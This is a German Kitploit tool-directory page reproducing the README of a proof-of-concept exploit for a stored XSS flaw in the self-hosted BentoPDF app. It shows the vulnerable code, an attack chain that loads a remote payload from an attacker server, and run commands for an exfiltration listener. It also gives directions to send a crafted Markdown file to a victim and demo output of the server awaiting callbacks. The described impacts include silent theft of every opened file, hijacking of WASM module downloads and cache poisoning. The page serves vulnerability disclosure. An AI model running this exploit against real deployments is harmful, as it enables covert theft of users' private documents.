Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

FeedsKontaktDatenschutz© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-41653 — Proof-of-Concept-Exploit für CVE-2026-41653, eine gespeicherte XSS-Schwachstelle in BentoPDF, die eine stille Datei-Exfiltration und die Übernahme der WASM-Lieferkette ermöglicht. | Kitploit
Tools/GitHubGitHub/astaruf/cve-2026-41653
SchwachstellenanalyseExploitationWebanwendungs-ExploitationDatenexfiltrationPayload-Entwicklung
GitHubastaruf/cve-2026-41653

CVE-2026-41653

Proof-of-Concept-Exploit für CVE-2026-41653, eine gespeicherte XSS-Schwachstelle in BentoPDF, die eine stille Datei-Exfiltration und die Übernahme der WASM-Lieferkette ermöglicht.

Repository anzeigen
23vor 5 MonatenNoch nicht geprüft
Webseite

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-41653: BentoPDF ≤ 2.8.2 - Stored XSS → Datei-Exfiltration

Entdeckt und gemeldet von: Astaruf

Vollständiger Bericht: https://nstsec.com/en/posts/bentopdf-xss-cve-2026-41653/

Upstream-Advisory: alam00000/bentopdf GHSA-Advisory

NVD-Eintrag: https://nvd.nist.gov/vuln/detail/CVE-2026-41653


Zusammenfassung

BentoPDF ist eine selbst gehostete, browserbasierte PDF-Werkzeugsammlung (Komprimieren, Zusammenführen, Teilen, Drehen, Konvertieren, Markdown-zu-PDF usw.).

Das Markdown-zu-PDF-Werkzeug leitet benutzerbereitgestelltes Markdown durch markdown-it mit html: true und injiziert die gerenderte Ausgabe direkt über innerHTML ohne Sanitisierung in das DOM. Ein Angreifer, der eine präparierte .md-Datei ausliefert, erreicht die Ausführung beliebigen JavaScripts in der BentoPDF-Origin.

Da BentoPDF eine vollständig clientseitige Anwendung ist, laden und verarbeiten alle Werkzeuge (PDF komprimieren, PDF zusammenführen, PDF teilen usw.) Dateien direkt im Browser des Opfers. Ein einzelnes XSS reicht daher aus, um jedes Dokument, das das Opfer während der Sitzung in einem beliebigen Werkzeug öffnet, stillschweigend zu exfiltrieren.

Angreifer sendet report.md (enthält )
  -> Opfer öffnet sie in Markdown-zu-PDF
    -> markdown-it rendert rohes HTML (html: true)
      -> preview.innerHTML = html  (kein DOMPurify)
        -> poc_payload.js wird vom Server des Angreifers geladen (kein CSP)
          -> FileReader + <input type=file> app-weit eingehakt
            -> verstecktes Popup injiziert Hooks bei jeder Werkzeug-Navigation erneut
              -> jede Datei, die das Opfer öffnet, wird stillschweigend exfiltriert

Auswirkungen

  • Stille Datei-Exfiltration. Jede Datei, die das Opfer während der Sitzung in einem beliebigen BentoPDF-Werkzeug öffnet (PDF, Bild, Dokument), wird per POST an den Server des Angreifers gesendet.
  • WASM-Supply-Chain-Hijacking. Die Payload überschreibt localStorage['bentopdf:wasm-providers'] und leitet Downloads der WASM-Module von PyMuPDF, Ghostscript und cpdf auf einen vom Angreifer kontrollierten Host um.
  • Seitenübergreifende Persistenz. Ein verstecktes 1×1-Popup fragt window.opener ab und injiziert Datei-Hooks bei jeder Navigation des Opfers zu einem anderen Werkzeug erneut, wodurch der Zugriff über die gesamte Sitzung aufrechterhalten wird.
  • Service-Worker-Cache-Vergiftung (nur HTTPS). Bei HTTPS-Bereitstellungen registriert die Payload einen Service Worker und vergiftet den bentopdf-*-Cache, indem sie einen Exfiltrations-Hook an jede /assets/*.js-Datei anhängt, die dem Browser über die aktuelle Sitzung hinaus ausgeliefert wird.

Schwachstellendetails

1. Durchreichen von rohem HTML in markdown-it (CWE-79)

src/js/utils/markdown-editor.ts (Zeilen 271–272):

private mdOptions: MarkdownItOptions = {
  html: true,   // rohe HTML-Tags passieren den Markdown-Parser
  breaks: false,
  linkify: true,
  typographer: true,
};

Tags wie ``, <svg>, <details> sowie alle Event-Handler-Attribute (onerror, onload, ontoggle) werden unverändert an das DOM weitergegeben.

2. Unsanitisierte innerHTML-Injektion (CWE-116)

src/js/utils/markdown-editor.ts (Zeilen 689–694):

private updatePreview(): void {
  if (!this.editor || !this.preview) return;
  const markdown = this.editor.value;
  const html = this.md.render(markdown);
  this.preview.innerHTML = html;  // vom Angreifer kontrolliertes HTML wird ins DOM injiziert
  this.renderMermaidDiagrams();
}

Zwischen markdown-it und innerHTML wird keine Sanitisierungsbibliothek angewendet. Der Browser parst die injizierte Zeichenkette, trifft auf den Inline-Event-Handler und führt ihn sofort aus.

3. Keine Content-Security-Policy

nginx.conf wird ohne Content-Security-Policy-Header ausgeliefert. Injiziertes JavaScript kann frei externe Skripte laden, fetch()-Anfragen an beliebige Hosts senden und Popup-Fenster öffnen. Eine restriktive CSP hätte selbst bei intaktem Sink die Stufe des Ladens externer Skripte verhindert.

Proof of Concept

Schnellstart

# Starte den Angreifer-Server für die Exfiltration
python3 poc.py --lhost <DEINE_IP> --lport 9999

# poc.py wird:
#   - die poc_report.md-Payload im aktuellen Verzeichnis erzeugen
#   - auf Callbacks und exfiltrierte Dateien des Opfers lauschen

Sende poc_report.md an das Opfer und bitte es, die Datei in BentoPDF → Markdown-zu-PDF zu öffnen. Die Payload feuert in dem Moment, in dem die Vorschau gerendert wird, und alle Dateien, die das Opfer in Zukunft hochlädt, werden an den Server des Angreifers exfiltriert.

Optionen

OptionStandardBeschreibung
--lhosterforderlichIP, die vom Browser des Opfers erreichbar ist
--lport9999Lauschport
--loot-dir./loot/Verzeichnis, in dem exfiltrierte Dateien gespeichert werden
--log-filekeineHängt alle Ereignisse an eine Datei an (ANSI-Codes entfernt)
--no-colorausDeaktiviert ANSI-Farben in der Terminalausgabe

Demo

1. Angreifer-Server mit --lhost und --lport gestartet. Die bösartige poc_report.md wird automatisch erzeugt.

$ python3 poc.py --lhost 127.0.0.1 --lport 9999 

 ██████╗██╗   ██╗███████╗        ██╗  ██╗  ██╗  ██████╗  ███████╗ ██████╗
██╔════╝██║   ██║██╔════╝        ██║  ██║ ███║ ██╔════╝  ██╔════╝ ╚════██╗
██║     ██║   ██║█████╗   -2026- ███████║ ╚██║ ███████╗  ███████╗  █████╔╝
██║     ╚██╗ ██╔╝██╔══╝          ╚════██║  ██║ ██╔══██║  ╚════██║  ╚═══██╗
╚██████╗ ╚████╔╝ ███████╗             ██║  ██║ ╚██████║  ███████║ ██████╔╝
 ╚═════╝  ╚═══╝  ╚══════╝             ╚═╝  ╚═╝  ╚═════╝  ╚══════╝ ╚═════╝

  BentoPDF <= 2.8.1 - Markdown-zu-PDF Stored XSS -> Datei-Exfiltration
  PoC von Astaruf (https://nstsec.com)

========================================================================
  Exfiltrations-Server:    http://127.0.0.1:9999
  Payload:   http://127.0.0.1:9999/poc_payload.js
  Loot-Verzeichnis:  /home/kali/loot
========================================================================

  Bösartige .md-Datei bereit: /home/kali/poc_report.md

  Sende sie an das Opfer und bitte es, sie im Markdown-zu-PDF-Werkzeug zu öffnen.
  Die Payload feuert, sobald die Vorschau gerendert wird.

========================================================================

  Warte auf Opfer...

2. Das Opfer öffnet das Markdown-zu-PDF-Werkzeug in BentoPDF.

Markdown-zu-PDF-Werkzeug

3. Das Opfer lädt poc_report.md. Die Vorschau wird gerendert, `` kann nicht geladen werden, onerror feuert. poc_payload.js wird ohne blockierendes CSP vom Server des Angreifers abgerufen.

report.md gerendert

Tool herunterladen